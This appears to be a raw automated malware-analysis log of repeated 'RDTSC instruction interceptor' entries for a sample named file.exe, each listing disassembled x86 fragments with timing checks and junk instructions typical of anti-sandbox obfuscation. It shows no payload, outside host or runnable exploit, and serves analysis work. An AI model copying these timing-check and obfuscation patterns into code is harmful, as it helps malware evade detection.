Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 514031A second address: 5140320 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140320 second address: 5140325 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140325 second address: 514032B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 514032B second address: 5140359 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B8D1B410h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FE8B8D1B410h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140359 second address: 514035D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 514035D second address: 5140363 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140363 second address: 5140369 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140369 second address: 51403A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FE8B8D1B40Dh 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FE8B8D1B40Ch 0x00000017 sbb ax, 33C8h 0x0000001c jmp 00007FE8B8D1B40Bh 0x00000021 popfd 0x00000022 push ecx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150173 second address: 515018B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE8B9931194h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 515018B second address: 515018F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 515018F second address: 5150201 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a call 00007FE8B993118Ch 0x0000000f pushfd 0x00000010 jmp 00007FE8B9931192h 0x00000015 sub ch, FFFFFFB8h 0x00000018 jmp 00007FE8B993118Bh 0x0000001d popfd 0x0000001e pop esi 0x0000001f call 00007FE8B9931199h 0x00000024 mov esi, 538FF3D7h 0x00000029 pop esi 0x0000002a popad 0x0000002b xchg eax, ebp 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007FE8B9931196h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150201 second address: 5150237 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B8D1B40Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FE8B8D1B416h 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FE8B8D1B40Ah 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150237 second address: 515023B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 515023B second address: 5150241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150241 second address: 5150247 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150247 second address: 515024B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 515024B second address: 515024F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180F65 second address: 5180F6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, bx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180F6D second address: 5180FD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007FE8B9931198h 0x0000000d xchg eax, ebp 0x0000000e jmp 00007FE8B9931190h 0x00000013 mov ebp, esp 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 pushfd 0x00000019 jmp 00007FE8B9931193h 0x0000001e add ecx, 497AAB1Eh 0x00000024 jmp 00007FE8B9931199h 0x00000029 popfd 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51603B7 second address: 51603BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51603BD second address: 5160400 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007FE8B9931197h 0x0000000f mov eax, dword ptr [ebp+08h] 0x00000012 pushad 0x00000013 call 00007FE8B9931194h 0x00000018 mov eax, 53E6A011h 0x0000001d pop ecx 0x0000001e push eax 0x0000001f push edx 0x00000020 mov al, dl 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160400 second address: 5160423 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 and dword ptr [eax], 00000000h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE8B8D1B417h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160423 second address: 516043B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE8B9931194h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516043B second address: 516043F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51404BD second address: 514050E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE8B9931197h 0x00000009 add ax, 085Eh 0x0000000e jmp 00007FE8B9931199h 0x00000013 popfd 0x00000014 mov dl, ah 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FE8B993118Fh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150E7A second address: 5150E80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150E80 second address: 5150F17 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B993118Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ebx 0x0000000e mov ecx, 5283226Fh 0x00000013 popad 0x00000014 mov eax, 5FC9768Bh 0x00000019 popad 0x0000001a push eax 0x0000001b jmp 00007FE8B9931191h 0x00000020 xchg eax, ebp 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007FE8B993118Ch 0x00000028 adc esi, 728955C8h 0x0000002e jmp 00007FE8B993118Bh 0x00000033 popfd 0x00000034 pushfd 0x00000035 jmp 00007FE8B9931198h 0x0000003a jmp 00007FE8B9931195h 0x0000003f popfd 0x00000040 popad 0x00000041 mov ebp, esp 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007FE8B993118Dh 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150F17 second address: 5150F49 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B8D1B411h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE8B8D1B418h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150F49 second address: 5150F4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51601C2 second address: 51601F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ecx, 1C9D6E5Bh 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushfd 0x00000010 jmp 00007FE8B8D1B40Dh 0x00000015 and ah, FFFFFFE6h 0x00000018 jmp 00007FE8B8D1B411h 0x0000001d popfd 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51601F4 second address: 5160285 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FE8B9931190h 0x00000008 adc cx, B088h 0x0000000d jmp 00007FE8B993118Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushfd 0x00000016 jmp 00007FE8B9931198h 0x0000001b xor al, FFFFFFE8h 0x0000001e jmp 00007FE8B993118Bh 0x00000023 popfd 0x00000024 popad 0x00000025 xchg eax, ebp 0x00000026 jmp 00007FE8B9931196h 0x0000002b mov ebp, esp 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 pushfd 0x00000031 jmp 00007FE8B993118Dh 0x00000036 adc ch, FFFFFFB6h 0x00000039 jmp 00007FE8B9931191h 0x0000003e popfd 0x0000003f mov ah, 51h 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160285 second address: 51602AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B8D1B40Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE8B8D1B417h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51602AD second address: 51602B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51602B3 second address: 51602B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51807A2 second address: 51807B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B993118Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51807B1 second address: 51807B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51807B8 second address: 518085C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007FE8B993118Eh 0x0000000d xchg eax, ecx 0x0000000e jmp 00007FE8B9931190h 0x00000013 mov eax, dword ptr [76FB65FCh] 0x00000018 pushad 0x00000019 movzx esi, dx 0x0000001c mov dh, 15h 0x0000001e popad 0x0000001f test eax, eax 0x00000021 jmp 00007FE8B9931192h 0x00000026 je 00007FE92B6E42EDh 0x0000002c jmp 00007FE8B9931190h 0x00000031 mov ecx, eax 0x00000033 pushad 0x00000034 mov ax, 80DDh 0x00000038 call 00007FE8B993118Ah 0x0000003d mov cx, DF11h 0x00000041 pop ecx 0x00000042 popad 0x00000043 xor eax, dword ptr [ebp+08h] 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 mov dl, D3h 0x0000004b pushfd 0x0000004c jmp 00007FE8B9931190h 0x00000051 jmp 00007FE8B9931195h 0x00000056 popfd 0x00000057 popad 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518085C second address: 51808BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B8D1B411h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and ecx, 1Fh 0x0000000c jmp 00007FE8B8D1B40Eh 0x00000011 ror eax, cl 0x00000013 jmp 00007FE8B8D1B410h 0x00000018 leave 0x00000019 pushad 0x0000001a mov dx, 8470h 0x0000001e popad 0x0000001f retn 0004h 0x00000022 nop 0x00000023 mov esi, eax 0x00000025 lea eax, dword ptr [ebp-08h] 0x00000028 xor esi, dword ptr [00602014h] 0x0000002e push eax 0x0000002f push eax 0x00000030 push eax 0x00000031 lea eax, dword ptr [ebp-10h] 0x00000034 push eax 0x00000035 call 00007FE8BD8DBBE4h 0x0000003a push FFFFFFFEh 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f jmp 00007FE8B8D1B417h 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51808BB second address: 51808C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51808C1 second address: 51808C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51808C5 second address: 51808F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a mov dl, B8h 0x0000000c jmp 00007FE8B9931196h 0x00000011 popad 0x00000012 ret 0x00000013 nop 0x00000014 push eax 0x00000015 call 00007FE8BE4F19A8h 0x0000001a mov edi, edi 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FE8B993118Ah 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51808F9 second address: 51808FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51808FF second address: 518097D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B993118Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FE8B993118Eh 0x00000011 adc al, FFFFFFD8h 0x00000014 jmp 00007FE8B993118Bh 0x00000019 popfd 0x0000001a pushfd 0x0000001b jmp 00007FE8B9931198h 0x00000020 and ecx, 1D595638h 0x00000026 jmp 00007FE8B993118Bh 0x0000002b popfd 0x0000002c popad 0x0000002d push eax 0x0000002e jmp 00007FE8B9931199h 0x00000033 xchg eax, ebp 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518097D second address: 5180985 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cx, dx 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130007 second address: 513000C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513000C second address: 5130011 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130011 second address: 5130054 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov al, dh 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FE8B993118Ah 0x0000000f push eax 0x00000010 pushad 0x00000011 mov ecx, 04A77173h 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 jmp 00007FE8B9931196h 0x0000001d mov ebp, esp 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FE8B993118Ah 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130054 second address: 513005A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513005A second address: 513006B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE8B993118Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513006B second address: 513006F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513006F second address: 5130105 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and esp, FFFFFFF8h 0x0000000b pushad 0x0000000c mov cx, di 0x0000000f pushfd 0x00000010 jmp 00007FE8B993118Fh 0x00000015 sbb ecx, 65BCDD9Eh 0x0000001b jmp 00007FE8B9931199h 0x00000020 popfd 0x00000021 popad 0x00000022 xchg eax, ecx 0x00000023 pushad 0x00000024 call 00007FE8B993118Ch 0x00000029 pushfd 0x0000002a jmp 00007FE8B9931192h 0x0000002f add ax, 56C8h 0x00000034 jmp 00007FE8B993118Bh 0x00000039 popfd 0x0000003a pop eax 0x0000003b mov esi, edx 0x0000003d popad 0x0000003e push eax 0x0000003f jmp 00007FE8B9931192h 0x00000044 xchg eax, ecx 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 mov edx, 35FBA540h 0x0000004d movsx ebx, ax 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130105 second address: 513010C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, 66h 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513010C second address: 5130158 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebx 0x00000008 pushad 0x00000009 movzx esi, bx 0x0000000c pushad 0x0000000d movsx edi, si 0x00000010 pushfd 0x00000011 jmp 00007FE8B9931198h 0x00000016 sbb si, EDE8h 0x0000001b jmp 00007FE8B993118Bh 0x00000020 popfd 0x00000021 popad 0x00000022 popad 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FE8B993118Bh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130158 second address: 5130175 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B8D1B419h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130175 second address: 5130185 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE8B993118Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130185 second address: 5130189 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130189 second address: 51301F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 jmp 00007FE8B9931197h 0x0000000e mov ebx, dword ptr [ebp+10h] 0x00000011 jmp 00007FE8B9931196h 0x00000016 xchg eax, esi 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007FE8B993118Eh 0x0000001e jmp 00007FE8B9931195h 0x00000023 popfd 0x00000024 mov bx, si 0x00000027 popad 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51301F4 second address: 51301F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51301F8 second address: 51301FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51301FE second address: 513026F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 3812h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, esi 0x0000000b jmp 00007FE8B8D1B414h 0x00000010 mov esi, dword ptr [ebp+08h] 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FE8B8D1B40Eh 0x0000001a adc ax, 6F58h 0x0000001f jmp 00007FE8B8D1B40Bh 0x00000024 popfd 0x00000025 mov dx, si 0x00000028 popad 0x00000029 xchg eax, edi 0x0000002a pushad 0x0000002b jmp 00007FE8B8D1B410h 0x00000030 jmp 00007FE8B8D1B412h 0x00000035 popad 0x00000036 push eax 0x00000037 pushad 0x00000038 push ebx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513036B second address: 5130381 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE8B9931192h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130381 second address: 51303A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B8D1B40Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007FE92AB19715h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 call 00007FE8B8D1B40Bh 0x00000019 pop ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51303A9 second address: 51303AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51303AE second address: 51303BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE8B8D1B40Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 512091A second address: 51209A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE8B9931192h 0x00000009 xor cl, FFFFFFF8h 0x0000000c jmp 00007FE8B993118Bh 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007FE8B9931198h 0x00000018 jmp 00007FE8B9931195h 0x0000001d popfd 0x0000001e popad 0x0000001f pop edx 0x00000020 pop eax 0x00000021 xchg eax, ebp 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 mov ebx, 5F167C1Eh 0x0000002a pushfd 0x0000002b jmp 00007FE8B993118Fh 0x00000030 sub al, FFFFFFCEh 0x00000033 jmp 00007FE8B9931199h 0x00000038 popfd 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51209A8 second address: 51209CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B8D1B411h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE8B8D1B40Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51209CC second address: 51209D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51209D1 second address: 5120A2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ah, bl 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FE8B8D1B416h 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FE8B8D1B40Eh 0x00000018 xor ecx, 3F5E1608h 0x0000001e jmp 00007FE8B8D1B40Bh 0x00000023 popfd 0x00000024 movzx ecx, dx 0x00000027 popad 0x00000028 and esp, FFFFFFF8h 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FE8B8D1B40Eh 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120A2C second address: 5120A3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE8B993118Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120A3E second address: 5120A4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop esi 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120A4F second address: 5120A6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B9931190h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120A6C second address: 5120A70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120A70 second address: 5120A76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120A76 second address: 5120A7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120A7C second address: 5120A80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
